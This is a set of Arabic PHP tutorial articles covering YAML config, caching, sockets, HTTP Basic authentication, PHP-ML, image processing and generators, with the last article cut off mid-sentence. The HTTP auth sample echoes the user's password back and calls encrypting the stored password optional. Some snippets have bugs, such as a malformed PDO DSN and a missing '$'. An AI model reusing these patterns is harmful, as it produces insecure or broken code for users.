مصفوفات. بفرض لدينا ملف YAML التالي: database: driver: mysql host: database.mydomain.com port: 3306 db_name: sample_db user: myuser password: Passw0rd debug: true country: us بفرض أننا حفظناه كملف config.yaml، لقراءة هذا الملف باستخدام PHP نستخدم الشيفرة التالية: $config = yaml_parse_file('config.yaml'); print_r($config); سينتج الخرج التالي: Array ( [database] => Array ( [driver] => mysql [host] => database.mydomain.com [port] => 3306 [db_name] => sample_db [user] => myuser [password] => Passw0rd ) [debug] => 1 [country] => us ) يمكن الآن استخدام معاملات الإعدادات ببساطة باستخدام عناصر المصفوفة: $dbConfig = $config['database']; $connectString = $dbConfig['driver'] . ":host={$dbConfig['host']}" . ":port={$dbConfig['port']}" . ":dbname={$dbConfig['db_name']}" . ":user={$dbConfig['user']}" . ":password={$dbConfig['password']}"; $dbConnection = new \PDO($connectString, $dbConfig['user'], $dbConfig['password']); ترجمة -وبتصرف- للفصول [ Autoloading Primer - Create PDF files in PHP - YAML in PHP‎] من كتاب PHP Notes for Professionals book اقرأ أيضًا المقال السابق: التخزين المؤقت (Cache) ومقابس الويب (Webscockets) في PHP
  10. التخزين المؤقت باستخدام memcache Memcache هو نظام تخزين مؤقت للأغراض الموزعة يستخدم الزوج قيمة-مفتاح لتخزين البيانات الصغيرة، تحتاج أن تتأكد من أنّ Memcache مثبّتة قبل أن تستدعي شيفرتها في PHP، يمكنك القيام بذلك باستخدام تابع class_exists في PHP. بعد أن تتأكد من أنّها مثبّتة يمكنك الاتصال بنسخة خادم memcache. if (class_exists('Memcache')) { $cache = new Memcache(); $cache->connect('localhost',11211); }else { print "Not connected to cache server"; } ستتحقق هذه الشيفرة من أنّ محركات PHP للذاكرة Memcache مثبتة وتتصل إلى نسخة خادم memcache المُنفَّذ على الخادم المحلي. تعمل Memcache بشكلٍ خفي وتدعى memcached. اتصلنا في المثال السابق إلى خادم واحد لكن يمكننا أيضًا الاتصال بعدة خوادم باستخدام الشيفرة: if (class_exists('Memcache')) { $cache = new Memcache(); $cache->addServer('192.168.0.100',11211); $cache->addServer('192.168.0.101',11211); } لاحظ أنّه في هذه الحالة لن يكون هناك أي اتصال نشط حتى تحاول تخزين قيمة أو جلبها، يوجد ثلاث عمليات أساسية التي نحتاج إلى تنفيذها في التخزين المؤقت: تخزين البيانات: إضافة بيانات جديدة إلى خادم memcached. الحصول على البيانات: جلب البيانات من خادم memcached. حذف البيانات: حذف بيانات موجودة سابقًا على خادم memcached. تخزين البيانات يملك كائن الصنف memcached أو ‎$cache التابع set الذي يأخذ المعاملات (المفتاح والقيمة والوقت) لحفظ قيمة من أجل زمن الحياة (ttl). $cache->set($key, $value, 0, $ttl); ‎$ttl أو زمن الحياة هنا مقدرًا بالثانية هو الزمن الذي تحتاجه memcache لتخزين الزوج على الخادم. الحصول على البيانات يملك كائن الصنف memcached أو ‎$cache التابع get الذي يأخذ مفتاح ويعيد القيمة المقابلة. $value = $cache->get($key); إذا لم توجد قيمة مقابلة للمفتاح ستُرجع القيمة null. حذف البيانات قد تحتاج أحيانًا إلى حذف بعض القيم من الذاكرة المخبئية، يملك كائن الصنف memcached أو ‎$cache التابع delete الذي يُستخدم لهذا الغرض: $cache->delete($key); سيناريو بسيط للتخزين المؤقت بفرض لدينا مدونة بسيطة، ستوجد عدة منشورات في صفحة الهبوط تُجلب من قاعدة البيانات عند كل تحميل للصفحة، يمكننا استخدام memcached لتخزين المنشورات وذلك لتقليل استعلامات sql، إليك تنفيذ بسيط لذلك: if (class_exists('Memcache')) { $cache = new Memcache(); $cache->connect('localhost',11211); if(($data = $cache->get('posts')) != null) { // الحصول على البيانات من ذاكرة التخزين المؤقت } else { // فُقدت ذاكرة التخزين المؤقت، الاستعلام من قاعدة البيانات وحفظ النتائج إلى القاعدة // ‫بفرض ‎$posts مصفوفة المنشورات المُستعادة من قاعدة البيانات $cache->set('posts', $posts,0,$ttl); } }else { die("Error while connecting to cache server"); } التخزين المؤقت باستخدام APC ذاكرة التخزين المؤقت البديلة في PHP (‏APC) مجانية وشيفرة تشغيل مفتوحة لذاكرة التخزين المؤقت في PHP، هدفها توفير إطار عمل مجاني ومفتوح وقوي لذاكرة التخزين المؤقت وتحسين شيفرة PHP الوسيطة. طريقة التثبيت: sudo apt-get install php-apc sudo /etc/init.d/apache2 restart إضافة ذاكرة التخزين المؤقت: apc_add ($key, $value , $ttl); $key = unique cache key $value = cache value $ttl = Time To Live; حذف ذاكرة التخزين المؤقت: apc_delete($key); مثال عن ضبط الذاكرة المخبئية: if (apc_exists($key)) { echo "Key exists: "; echo apc_fetch($key); } else { echo "Key does not exist"; apc_add ($key, $value , $ttl); } الأداء: APC أسرع من Memcached ب ‏5‏ مرات تقريبًا. مقابس الويب (Webscockets) ينفّذ استخدام إضافة المقبس (socket) واجهة منخفضة المستوى لدوال اتصال المقبس بالاعتماد على مقابس BSD (‏Berkeley Software Distribution) الشائعة، مما يوفر إمكانية العمل كخادم مقبس وعميل. خادم TCP/IP بسيط يمكنك أن تجد هنا مثالًا بسيطًا يعتمد على توثيق PHP الرسمي. أنشئ سكربت مقبس ويب يستمع إلى المنفذ 5000 باستخدام putty والطرفية لتنفيذ الأمر telnet 127.0.0.1 5000 (المضيف المحلي)، يرد هذا السكربت بالرسالة التي أرسلتها (كتعقب عكسي): <?php // تعطيل المهلة set_time_limit(0); // تعطيل التخزين المؤقت للخرج ob_implicit_flush(); // الإعدادات $address = '127.0.0.1'; $port = 5000; // (1) if (($socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP)) === false) { echo "Couldn't create socket".socket_strerror(socket_last_error())."\n"; } // (2) if (socket_bind($socket, $address, $port) === false) { echo "Bind Error ".socket_strerror(socket_last_error($sock)) ."\n"; } if (socket_listen($socket, 5) === false) { echo "Listen Failed ".socket_strerror(socket_last_error($socket)) . "\n"; } do { if (($msgsock = socket_accept($socket)) === false) { echo "Error: socket_accept: " . socket_strerror(socket_last_error($socket)) . "\n"; break; } /* إرسال رسالة ترحيب */ $msg = "\nPHP Websocket \n"; // الاستماع إلى دخل المستخدم do { if (false === ($buf = socket_read($msgsock, 2048, PHP_NORMAL_READ))) { echo "socket read error: ".socket_strerror(socket_last_error($msgsock)) . "\n"; break 2; } if (!$buf = trim($buf)) { continue; } // الرد على المستخدم برسالته $talkback = "PHP: You said '$buf'.\n"; socket_write($msgsock, $talkback, strlen($talkback)); // طباعة الرسالة على الطرفية echo "$buf\n"; } while (true); socket_close($msgsock); } while (true); socket_close($socket); ?> في الموضع (1) لدينا الدالة socket_create لها الشكل العام ( int $domain , int $type , int $protocol ): يمكن أن يكون المتغير ‎$domain هو AF_INET أو AF_INET6 من أجل IPV6 أو AF_UNIX من أجل بروتوكول الاتصال المحلي. يمكن أن يكون المتغير ‎$protocol إما SOL_TCP أو SOL_UDP ‏(TCP/UDP) تعيد هذه الدالة القيمة true في حالة النجاح. في الموضع (2) نستخدم الدالة socket_bind التي تربط هذه الدالة المقبس ليستمع إلى عنوان ومنفذ محددين ولها الشكل العام: ‎socket_bind ( resource $socket , string $address [, int $port = 0 ] )‎ استيثاق HTTP سنكتب سكربت استيثاق ترويسة HTTP بسيط، ولاحظ أنّه يجب وضع هذه الشيفرة في ترويسة الصفحة وإلا لن يعمل: <?php if (!isset($_SERVER['PHP_AUTH_USER'])) { header('WWW-Authenticate: Basic realm="My Realm"'); header('HTTP/1.0 401 Unauthorized'); echo 'Text to send if user hits Cancel button'; exit; } echo "<p>Hello {$_SERVER['PHP_AUTH_USER']}.</p>"; // حفظ المعلومات $user = $_SERVER['PHP_AUTH_USER']; echo "<p>You entered {$_SERVER['PHP_AUTH_PW']} as your password.</p>"; // ‫حفظ كلمة المرور (يمكن إضافة التشفير اختياريًا) $pass = $_SERVER['PHP_AUTH_PW']; //Save the password(optionally add encryption)! ?> // ‫صفحة html ترجمة -وبتصرف- للفصول [Cache - WebSockets - HTTP Authentication] من كتاب PHP Notes for Professionals book اقرأ أيضًا المقال التالي: تمهيد لعمليتي التحميل والتنزيل التلقائي في PHP المقال السابق: مدخل إلى تعلم الآلة (Machine learning) في PHP
  11. التصنيف باستخدام مكتبة PHP-ML التصنيف في تعلم الآلة هو المشكلة التي تحدد مجموعة الفئات التي تنتمي إليها الملاحظة الجديدة، يندرج التصنيف تحت فئة تعلم الآلة المُشرَف عليه (Supervised Machine Learning)، تُعرَف أي خوارزمية تنفذ التصنيف بأنها مصنِّفة (classifier). المصنِّفات المدعومة في PHP-ML هي: SVC تصنيف دعم الشعاع (Support Vector Classification). أقرب k جار (k-Nearest Neighbors). مصنِّف بايز البسيط (Naive Bayes). إنّ التوابع train وpredict هي نفسها لكل المصنِّفات (classifiers)، الفرق الوحيد في الخوارزمية الأساسية المستخدمة. SVC تصنيف دعم الشعاع (Support Vector Classification) نحتاج إلى تدريب المصنِّف قبل أن نبدأ بالتنبؤ بملاحظة جديدة، بفرض لدينا الشيفرة التالية: // استيراد المكتبة use Phpml\Classification\SVC; use Phpml\SupportVectorMachine\Kernel; // بيانات تدريب المصنِّف // عينات التدريب $samples = [[1, 3], [1, 4], [2, 4], [3, 1], [4, 1], [4, 2]]; $labels = ['a', 'a', 'a', 'b', 'b', 'b']; // تهيئة المصنِّف $classifier = new SVC(Kernel::LINEAR, $cost = 1000); // تدريب المصنِّف $classifier->train($samples, $labels); المتغير ‎$cost المُستخدم في الشيفرة السابقة هو مقياس لمقدار التصنيف الخاطئ الذي نريد تجنبه في كل مثال تدريبي، قد تحصل على أمثلة ذات تصنيف خاطئ من أجل قيم أقل للمتغير ‎$cost، يُضبَط افتراضيًا للقيمة 1.0. يمكننا الآن البدء في بعض التنبؤات الحقيقية بعد أن أصبح لدينا المصنِّف مدرّبًا، بفرض لدينا الشيفرات التالية للتنبؤات: $classifier->predict([3, 2]); // 'b' $classifier->predict([[3, 2], [1, 5]]); // ['b', 'a'] يمكن أن يأخذ المصنِّف في هذه الحالة عينات غير مصنّفة ويتنبأ بتسمياتها، يمكن أن يأخذ التابع predict عينة مفردة أو مصفوفة من العينات. أقرب k جار (k-Nearest Neighbors) يأخذ المصنِّف في هذه الخوارزمية معاملَين ويمكن تهيئتهما كالتالي: $classifier = new KNearestNeighbors($neighbor_num=4); $classifier = new KNearestNeighbors($neighbor_num=3, new Minkowski($lambda=4)); المتغير ‎$neighbor_num هو عدد الجيران الأقرب للفحص بخوارزمية ⁩knn، أما المعامل الثاني فهو مقياس المسافة والذي يكون افتراضيًا Euclidean في الحالة الأولى. إليك مثال قصير عن كيفية استخدام المصنِّف: // بيانات التدريب $samples = [[1, 3], [1, 4], [2, 4], [3, 1], [4, 1], [4, 2]]; $labels = ['a', 'a', 'a', 'b', 'b', 'b']; // تهيئة المصنِّف $classifier = new KNearestNeighbors(); // تدريب المصنِّف $classifier->train($samples, $labels); // التنبؤات $classifier->predict([3, 2]); // 'b' $classifier->predict([[3, 2], [1, 5]]); // ['b', 'a'] مصنِّف بايز البسيط (Naive Bayes) يعتمد مصنِّف بايز البسيط على نظرية بايز ولا يحتاج أي معاملات في الباني، توضّح الشيفرة التالية تنفيذًا لتنبؤ بسيط: // بيانات التدريب $samples = [[5, 1, 1], [1, 5, 1], [1, 1, 5]]; $labels = ['a', 'b', 'c']; // تهيئة المصنِّف $classifier = new NaiveBayes(); // تدريب المصنِّف $classifier->train($samples, $labels); // التنبؤات $classifier->predict([3, 1, 1]); // 'a' $classifier->predict([[3, 1, 1], [1, 4, 1]); // ['a', 'b'] حالة عمليّة استخدمنا حتى الآن مصفوفات من الأعداد الصحيحة في كل الحالات ولكن هذه الحالة غير موجودة في حياتنا الواقعية، لذا سنحاول وصف حل عملي لكيفية استخدام المصنِّفات⁡. بفرض لدينا تطبيق يخزّن خاصيّات الأزهار في الطبيعة، يمكننا أن نفرض للتبسيط لون الزهرة وطول البتلات ونستخدم هاتين الخاصيتين لتدريب البيانات، اللون هو الخاصيّة الأبسط إذ يمكننا إسناد قيمة صحيحة لكل لون ويمكن أن يكون عندك مجال للطول مثل ‎(0 mm,10 mm)=1‎، ‏‎(10 mm,20 mm)=2. درّب المصنِّف مع بيانات التهيئة، الآن إذا احتاج مستخدم ما لتحديد نوع الزهرة التي تنمو في حديقته الخلفية، عندها يختار لون الزهرة ويضيف طول البتلات ويُنفَّذ المصنِّف ويكشف نوع الزهرة. الانحدار (Regression) أسندنا باستخدام التصنيف مع مكتبة PHP-ML تسميات للملاحظة الجديدة، الانحدار هو نفسه تقريبًا إلا أنّ قيمة الخرج ليست اسم صنف بل قيمة مستمرة، يُستخدم بشكلٍ كبير للتنبؤات والتوقعات، تدعم مكتبة PHP-ML خوارزميات الانحدار التالية: انحدار دعم المتجه (Support Vector Regression). الانحدار الخطي ذو المربعات الأقل (Least Squares Linear Regression). يستخدم الانحدار نفس التوابع train وpredict المستخدمة في التصنيف. انحدار دعم المتجه (Support Vector Regression) هذه نسخة الانحدار من آلة دعم المتجه (‏SVM) (‏Support Vector Machine)، الخطوة الأولى مثل التصنيف هي تدريب النموذج: // استيراد المكتبة use Phpml\Regression\SVR; use Phpml\SupportVectorMachine\Kernel; // بيانات التدريب $samples = [[60], [61], [62], [63], [65]]; $targets = [3.1, 3.6, 3.8, 4, 4.1]; // تهيئة محرك الانحدار $regression = new SVR(Kernel::LINEAR); // تدريب محرك الانحدار $regression->train($samples, $targets); المتغير ‎$target في الانحدار ليس أسماء أصناف كما في التصنيف، هذا عامل للتفريق بين النوعين، يمكننا أن نبدأ بالتنبؤات الفعلية بعد تدريب نموذجنا. $regression->predict([64]) // 4.03 لاحظ أنّ التنبؤات ترجع قيمة من خارج مجال الهدف. الانحدار الخطي ذو المربعات الأقل (Least Squares Linear Regression) تستخدم هذه الخوارزمية طريقة المربعات الأقل للوصول إلى حل تقريبي، إليك شيفرة بسيطة للتدريب والتنبؤ: // بيانات التدريب $samples = [[60], [61], [62], [63], [65]]; $targets = [3.1, 3.6, 3.8, 4, 4.1]; // تهيئة محرك الانحدار $regression = new LeastSquares(); // تدريب محرك الانحدار $regression->train($samples, $targets); // التنبؤ باستخدام المحرك المدرَّب $regression->predict([64]); // 4.06 توفر أيضًا مكتبة PHP-ML خيار Multiple Linear Regression، إليك الشيفرة التالية كمثال: $samples = [[73676, 1996], [77006, 1998], [10565, 2000], [146088, 1995], [15000, 2001], [65940, 2000], [9300, 2000], [93739, 1996], [153260, 1994], [17764, 2002], [57000, 1998], [15000, 2000]]; $targets = [2000, 2750, 15500, 960, 4400, 8800, 7100, 2550, 1025, 5900, 4600, 4400]; $regression = new LeastSquares(); $regression->train($samples, $targets); $regression->predict([60000, 1996]) // 4094.82 يعدّ الخيار Multiple Linear Regression مفيدًا بشكلٍ خاص عندما يوجد عدة عوامل أو سمات لتحديد الخرج. حالة عمليّة إليك مثالًا لتطبيق عملي للانحدار في الحياة الواقعية. بفرض لديك موقع إلكتروني مشهور حركة المرور فيه متغيرة باستمرار وتريد حلًا للتنبؤ بعدد الخوادم التي تحتاج إلى نشرها في وقت من الأوقات، وبفرض أن مزود الاستضافة يمنحك واجهة برمجة تطبيقات (api) لتعمل الخوادم وكل خادم يستغرق 15 دقيقة للتشغيل، بالاعتماد على حركة المرور السابقة والانحدار يمكنك توقع حركة المرور في تطبيقك في وقت ما. يمكنك باستخدام هذه المعرفة بدء خادم قبل 15 دقيقة من بدء تدفق حركة المرور مما يمنع تعطيل تطبيقك. العنقدة (Clustering) العنقدة هي تجميع الكائنات المتشابهة معًا، وتستخدم بشكل واسع للتعرف على الأنماط، تعد العنقدة من نوع تعلم الآلة غير المُشرف عليه لذا لا توجد حاجة للتدريب، تدعم مكتبة PHP-ML خوارزميات العنقدة التالية: k-Means dbscan خوارزمية k-Means تفصل هذه الخوارزمية البيانات إلى n مجموعة بتباين متساوٍ، أي أننا نحتاج إلى تمرير الرقم n الذي هو عدد العناقيد التي نحتاجها في الحل، إليك الشيفرة التالية للتوضيح: // مجموعة البيانات $samples = [[1, 1], [8, 7], [1, 2], [7, 8], [2, 1], [8, 9]]; // ‫تهيئة العنقدة بالمعامل `n` $kmeans = new KMeans(3); $kmeans->cluster($samples); // [0=>[[7, 8]], 1=>[[8, 7]], 2=>[[1,1]]] لاحظ أنّ الخرج يحتوي 3 مصفوفات لأنّ هذه قيمة n في باني KMeans، يمكن أن يوجد معامل اختياري ثاني في الباني يصف طريقة التهيئة، مثال: $kmeans = new KMeans(4, KMeans::INIT_RANDOM); تحدد الطريقة INIT_RANDOM نقطة مركزية عشوائية أثناء محاولة تحديد العناقيد، تكون هذه النقطة محدودة بحدود فضاء البيانات لتجنب أن تكون هذه النقطة المركزية بعيدة جدًا عن البيانات. طريقة التهيئة الافتراضية للباني هي kmeans++‎ والتي تختار النقطة المركزية بطريقة ذكية لتسريع العملية. خوارزمية DBSCAN هي خوارزمية عنقدة تعتمد على الكثافة أي أننا لن نحتاج إلى تمرير n لتحديد عدد العناقيد التي نريدها في نتائجنا على عكس خوارزمية k-Means، إنما نحتاج إلى معاملين لتعمل: ‎$minSamples: أقل عدد كائنات يجب أن تكون موجودة في العنقود. ‎$epsilon: أقصى مسافة بين عينتين لنعدهما في نفس العنقود. مثال: // مجموعة بيانات العينة $samples = [[1, 1], [8, 7], [1, 2], [7, 8], [2, 1], [8, 9]]; $dbscan = new DBSCAN($epsilon = 2, $minSamples = 3); $dbscan->cluster($samples); // [0=>[[1, 1]], 1=>[[8, 7]]] لا توجد طريقة هنا لمعرفة عدد عناصر الخرج كما في خوارزمية k-Means. حالة عمليّة لنأخذ مثالًا عن تطبيق عملي في الحياة الواقعية، تستخدم العنقدة بشكلٍ كبير في التعرف على الأنماط والتنقيب عن البيانات، بفرض لديك تطبيق نشر محتوى، لتحافظ على المستخدمين يجب أن يظهر لديهم المحتوى الذي يحبونه، لنفرض للتبسيط أنهم إذا كانوا في صفحة ويب معينة لأكثر من دقيقة ونزلوا فيها إلى الأسفل أي أنهم أحبوا هذا المحتوى. الآن سيكون لكل محتوى معرف فريد وكذلك لكل مستخدم، ونجعل عنقودًا يعتمد على هذه الخصائص وستتعرف على شريحة المستخدمين التي تحب محتوى مشابه لهذا المحتوى، يمكن استخدام هذا في نظام التوصيات ⁢حيث يمكنك فرض أنّه إذا كان لدينا بعض المستخدمين في نفس العنقود أحبوا مقالة ما عندها فإنّ هذه المقالة ستظهر عند المستخدمين الباقيين في التوصيات. ترجمة -وبتصرف- للفصل [Machine learning] من كتاب PHP Notes for Professionals book اقرأ أيضًا المقال التالي: التخزين المؤقت (Cache) ومقابس الويب (Webscockets) في PHP المقال السابق: معالجة الصور مع مكتبة GD ومكتبة Imagick في PHP
  12. خرج الصورة يمكن إنشاء صورة باستخدام دوال image*‎ حيث * هي صيغة الملف، وهذه الدوال لها الصيغة المشتركة التالية: bool image___(resource $im [, mixed $to [ other parameters]] ) الحفظ إلى ملف يمكنك تمرير اسم الملف أو مجرى ملف مفتوح للمتغير ‎$to إذا كنت تريد حفظ الصورة إلى ملف، إذا مررت مجرى فلا تحتاج لإغلاقه لأنّ مكتبة GD تغلقه تلقائيًا، مثلًا لحفظ ملف PNG: imagepng($image, "/path/to/target/file.png"); $stream = fopen("phar://path/to/target.phar/file.png", "wb"); imagepng($image2, $stream); // لا حاجة لإغلاق المجرى تأكد عند استخدام fopen من أنك تستخدم الراية b وليس الراية t لأن الملف هو خرج ثنائي، ولا تحاول أن تمرر fopen("php://temp", $f)‎ أو fopen("php://memory", $f)‎ لأنّ الدالة تُغلق المجرى بعد الاستدعاء ولن تبقى قادرًا على استدعائه أو استخدامه لاسترداد محتوياته مثلًا. الخرج كرد HTTP لا تحتاج إلى تمرير شيء (أو مرر null) كوسيط ثانٍ إذا كنت تريد أن ترجع هذه الصورة مباشرةً كرد للصورة (لإنشاء بطاقات ديناميكية مثلًا)، لكنك تحتاج إلى تحديد نوع المحتوى في رد HTTP: header("Content-Type: $mimeType"); ‎$mimeType هو نوع الصياغة المُرجعة في الترويسة MIME مثل image/png وimage/gif وimage/jpeg. الكتابة إلى متغير يوجد طريقتين للكتابة إلى متغير: استخدام المخزن المؤقت للخرج (OB): ob_start(); // ‫تمرير null للكتابة افتراضيًا في مجرى الخرج القياسي imagepng($image, null, $quality); $binary = ob_get_clean(); استخدام مغلِّف المجرى: قد يكون لديك سبب ما لعدم استخدام المخزن المؤقت للخرج كأن يكون لديك بالفعل مخزن مؤقت قيد التشغيل لذا تحتاج إلى بديل، يمكنك تسجيل مغلَّف مجرى جديد باستخدام الدالة stream_wrapper_register لذا يمكنك تمرير مجرى إلى دالة إظهار الصورة واستعادته لاحقًا. <?php class GlobalStream{ private $var; public function stream_open(string $path){ this->var =& $GLOBALS[parse_url($path)["host"]]; return true; } public function stream_write(string $data){ $this->var .= $data; return strlen($data); } } stream_wrapper_register("global", GlobalStream::class); $image = imagecreatetruecolor(100, 100); imagefill($image, 0, 0, imagecolorallocate($image, 0, 0, 0)); $stream = fopen("global://myImage", ""); imagepng($image, $stream); echo base64_encode($myImage); في هذا المثال يكتب الصنف GlobalStream أي دخل إلى المتغير المرجعي (أي الكتابة بشكل غير مباشر إلى المتغير العام للاسم المعطى)، يمكن استرجاع المتغير العام لاحقًا بشكلٍ مباشر. يجب الانتباه إلى عدة أمور: صنف مغلِّف المجرى المنفَّذ بشكلٍ كامل يجب أن يشبه هذا الصنف لكن وفقًا للاختبارات باستخدام تابع ‎__call السحري فإنّه من الممكن استدعاء stream_open وstream_write وstream_close فقط من الدوال الداخلية. لا توجد رايات مطلوبة في استدعاء fopen لكن يجب أن تمرر سلسلة فارغة على الأقل، لأنّ الدالة fopen تتوقع مثل هذا المعامل، حتى لو لم تستخدمها في تنفيذ stream_open يبقى هذا المعامل مطلوبًا. تستدعى الدالة stream_write عدة مرات وفقًا للاختبارات، تذكر أن تستخدم إسناد الدمج ‎.=‎ وليس إسناد المتغير المباشر =. مثال: في وسم <img> في HTML، يمكن توفير صورة بشكلٍ مباشر بدلًا من استخدام رابط خارجي: echo '<img src="data:image/png;base64,' . base64_encode($binary) . '">'; إنشاء صورة نستخدم الدالة imagecreatetruecolor لإنشاء صورة فارغة: $img = imagecreatetruecolor($width, $height); المتغير ‎$img‎ هو متغير مورد الآن بعرض ‎$width وطول ‎$height بكسل، لاحظ أنّ العرض يُحسب من اليسار إلى اليمين والطول من الأعلى إلى الأسفل. يمكن أن يُنشأ أيضًا مورد الصورة من دوال إنشاء الصورة مثل imagecreatefrompng وimagecreatefromjpeg ودوال imagecreatefrom*‎ أخرى. قد تُحرَّر موارد الصورة لاحقًا عندما لا توجد مراجع إليها، لكن لتحرير الذاكرة بشكلٍ مباشر (قد يكون هذا مهمًا عند معالجة عدة صور كبيرة) يمكننا استخدام imagedestroy()‎ على الصورة عندما لا تبقى حاجة لاستخدامها وتكون هذه ممارسة جيدة. imagedestroy($image); تحويل صورة إنّ الصور التي تُنشأ من تحويل الصور لا تعدّل الصورة حتى تُخرجها، لذا يمكن أن يكون محوِّل الصورة ببساطة عبارة عن ثلاثة أسطر من الشيفرة: function convertJpegToPng(string $filename, string $outputFile) { $im = imagecreatefromjpeg($filename); imagepng($im, $outputFile); imagedestroy($im); } اقتصاص الصورة وتغيير حجمها يمكنك استخدام الدالة imagecopyresampled إذا كان لديك صورة وتريد إنشاء صورة جديدة بأبعاد جديدة، أنشئ أولًا صورة جديدة بالأبعاد المرغوبة: // صورة جديدة $dst_img = imagecreatetruecolor($width, $height); خزّن الصورة الأصلية في متغير، يمكنك القيام بذلك باستخدام إحدى دوال createimagefrom*‎ حيث يمكن أن تكون * هي jpeg أو gif أوpng أوstring، مثال: // الصورة الأصلية $src_img=imagecreatefromstring(file_get_contents($original_image_path)); ثم استخدم الدالة imagecopyresampled لنسخ كل الصورة الأصلية (أو جزء منها) (src_img) إلى الصورة الجديدة (dst_img): imagecopyresampled($dst_img, $src_img, $dst_x ,$dst_y, $src_x, $src_y, $dst_width, $dst_height, $src_width, $src_height); لضبط أبعاد src_*‎ و‎dst_*‎، استخدم الصورة التالية: إذا كنت تريد الآن نسخ كامل الصورة المصدر (الأصلية) إلى كامل منطقة الهدف (بدون اقتصاص): $src_x = $src_y = $dst_x = $dst_y = 0; // عرض الصورة الجديدة $dst_width = $width; // طول الصورة الجديدة $dst_height = $height; // عرض الصورة الأصلية $src_width = imagesx($src_img); // طول الصورة الأصلية $src_height = imagesy($src_img); مكتبة Imagick التثبيت باستخدام apt في الأنظمة المعتمدة على Debian: sudo apt-get install php5-imagick باستخدام Homebrew في أنظمة OSX/macOs: brew install imagemagick باستخدام الإصدارات الثنائية: التعليمات في موقع imagemagick. الاستخدام <?php $imagen = new Imagick('imagen.jpg'); // ‫إذا وضعت قيمة المعامل 0 ستتم المحافظة على نسبة العرض $imagen->thumbnailImage(100, 0); echo $imagen; ?> تحويل صورة إلى سلسلة نصية بالأساس 64 يُظهر هذا المثال كيفية تحويل صورة إلى سلسلة نصية بالأساس 64 (أي سلسلة نصية يمكنك استخدامها مباشرةً في السمة src لوسم img)، يستخدم هذا المثال مكتبة Imagick لكن يمكن استخدام مكتبات أخرى مثل GD. <?php // (1) $img = new Imagick('image.jpg'); // (2) $img->resizeImage(320, 240); // (3) $imgBuff = $img->getimageblob(); // (4) $img->clear(); // (5) $img = base64_encode($imgBuff); echo "<img alt='Embedded Image' src='data:image/jpeg;base64,$img' />"; في الموضع (1) يُحمَّل الملف image.jpg للمعالجة، مسار الملف نسبي إلى ملف ‎.php‎ المتضمن هذه الشيفرة لذا في هذا المثال يجب أن يكون ملف image.jpg في نفس مجلد السكربت. في الموضع (2) يتغير حجم الصورة للحجم المُعطى كطول وعرض وإذا أردت تغيير دقة الصورة أيضًا مع تغيير الحجم يمكنك استخدام الدالة ‎$img->resampleimage(320, 240)‎، لاحظ أنّه يمكنك ضبط المعامل الثاني إلى 0 للمحافظة على نسبة عرض الصورة. في الموضع (3) تُرجع الدالة تمثيل الصورة على شكل سلسلة نصية غير مشفرة. في الموضع (4) يُزال المورد image.jpg من الكائن ‎$img‎ ويُدمَّر الكائن مما يحرر موارد النظام المحجوزة لمعالجة الصورة. في الموضع (5) تُنشأ نسخة بتشفير الأساس 64 من السلسلة النصية السابقة غير المشفرة ثم تُعرَض كصورة في الصفحة، لاحظ أنّه قد يتغير الجزء image/jpeg في السمة src وذلك بالاعتماد على نوع الصورة التي تستخدمها (png أوjpeg مثلًا). ترجمة -وبتصرف- للفصول [Image Processing with GD - Imagick] من كتاب PHP Notes for Professionals book اقرأ أيضًا المقال التالي: مدخل إلى تعلم الآلة (Machine learning) في PHP المقال السابق: اصطلاحات ومواضيع متفرقة مهمة لكل مبرمج PHP
  13. وسوم PHP يجب أن تستخدم دائمًا الوسوم ‎<?php ?>‎ أو وسوم الطباعة القصيرة ‎<?= ?>‎، ويجب ألا تُستخدم الاختلافات الأخرى (خاصةً الوسوم القصيرة <? ?>) لأنّ مديري النظام يعطلونها عادةً. يجب تجاهل صيغة الإغلاق ‎?>‎ عندما لا نتوقع أن ينتج الملف خرجًا لتجنب الخرج غير المقصود الذي يمكن أن يسبب مشاكل عندما يحلل العميل الملف خاصةً أنّ بعض المتصفحات تفشل في التعرف على وسم ‎<!DOCTYPE وتنشّط نمط التجاوزات Quirks Mode. مثال عن سكربت PHP بسيط: <?php print "Hello World"; مثال عن ملف تعريف صنف: <?php class Foo { ... } مثال عن PHP مضمن في HTML: <ul id="nav"> <?php foreach ($navItems as $navItem): ?> <li><a href="<?= htmlspecialchars($navItem->url) ?>"> <?= htmlspecialchars($navItem->label) ?> </a></li> <?php endforeach; ?> </ul> فوائد المولّدات (Generators) تقدّم PHP 5.5 المولّدات والكلمة المفتاحية yield التي تسمح لنا بكتابة شيفرة غير متزامنة تبدو أشبه بالشيفرة المتزامنة، يعدّ التعبير yield مسؤولًا عن إعادة التحكم إلى الشيفرة المستدعاة وتوفير نقطة استئناف من هناك، يمكنك إرسال قيمة مع تعليمة yield، القيمة المرجعة من هذا التعبير إما null أو القيمة الممررة إلى Generator::send()‎. function reverse_range($i) { // ‫مجرد وجود الكلمة المفتاحية `yield` في هذه الدالة يجعلها مولّد do { // ‎$i‎ هي القيمة المُحتفظ بها بين الاستئنافات print yield $i; } while (--$i > 0); } $gen = reverse_range(5); print $gen->current(); // الإرسال أيضًا يستأنف المولِّد $gen->send("injected!"); foreach ($gen as $val) { // المرور على كامل محتويات المولّد مما يجعله يستأنف عند كل تكرار echo $val; } // 5injected!4321 يمكن استخدام هذه الآلية بتنفيذ نمط مشترك (coroutine) لانتظار كائنات Awaitable المُعادة من المولِّد (بتسجيل المولّد نفسه كرد نداء للحل) ومواصلة تنفيذ المولّد بمجرد إنهاء كائن Awaitable. استخدام حلقة حدث من مكتبة Icicle تستخدم مكتبة Icicle كائنات Awaitable ومولّدات لإنشاء نمط مشترك. require __DIR__ . '/vendor/autoload.php'; use Icicle\Awaitable; use Icicle\Coroutine\Coroutine; use Icicle\Loop; $generator = function (float $time) { try { // ‫ضبط المتغير ‎$start إلى القيمة المعادة من الدالة microtime()‎? بعد ‎$time ثانية تقريبًا $start = yield Awaitable\resolve(microtime(true))->delay($time); echo "Sleep time: ", microtime(true) - $start, "\n"; // ‫رمي استثناء من كائن Awaitable المرفوض إلى النمط المشترك return yield Awaitable\reject(new Exception('Rejected awaitable')); } catch (Throwable $e) { // ‫التقاط سبب رفض awaitable echo "Caught exception: ", $e->getMessage(), "\n"; } return yield Awaitable\resolve('Coroutine completed'); }; // يبقى النمط المشترك ساكنًا لمدة 1.2 ثانية ثم ينتهي معيدًا سلسلة نصية $coroutine = new Coroutine($generator(1.2)); $coroutine->done(function (string $data) { echo $data, "\n"; }); Loop\run(); إنتاج عمليات غير معطَّلة مع proc_open()‎ لا تدعم PHP تنفيذ الشيفرة 